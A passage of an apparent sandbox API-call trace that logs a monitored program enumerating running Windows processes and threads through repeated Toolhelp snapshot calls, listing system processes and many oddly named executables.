th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0121.826] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0121.827] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0121.827] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0121.828] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0121.829] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0121.830] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0121.831] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0121.832] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0121.833] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0121.834] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0121.835] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0121.836] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0121.837] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0121.838] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0121.839] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0121.840] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0121.841] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0121.841] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0121.842] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.843] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0121.901] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.901] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0121.902] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0121.903] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0121.904] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0121.905] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0121.906] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.906] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0121.907] CloseHandle (hObject=0x56c) returned 1 [0121.907] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x56c [0121.909] Thread32First (hSnapshot=0x56c, lpte=0x4f1f308) returned 1 [0123.046] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0123.048] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.049] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0123.050] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0123.051] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.051] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0123.052] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.053] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0123.054] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0123.055] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0123.055] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0123.056] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.057] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.058] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.058] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.059] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.060] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0123.061] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.062] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.062] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0123.063] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.064] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.065] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0123.066] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0123.066] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.067] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.068] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.069] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.069] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0123.070] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0123.071] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0123.072] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0123.073] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0123.073] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0123.074] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0123.075] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0123.076] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0123.077] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0123.077] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0123.078] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0123.079] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0123.080] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0123.080] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0123.081] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0123.082] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0123.083] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0123.084] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0123.084] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0123.085] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0123.086] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.087] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0123.087] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.088] Process32NextW (in: hSnapshot=0x6cc, lppe=0x4f1f0f0 | out: 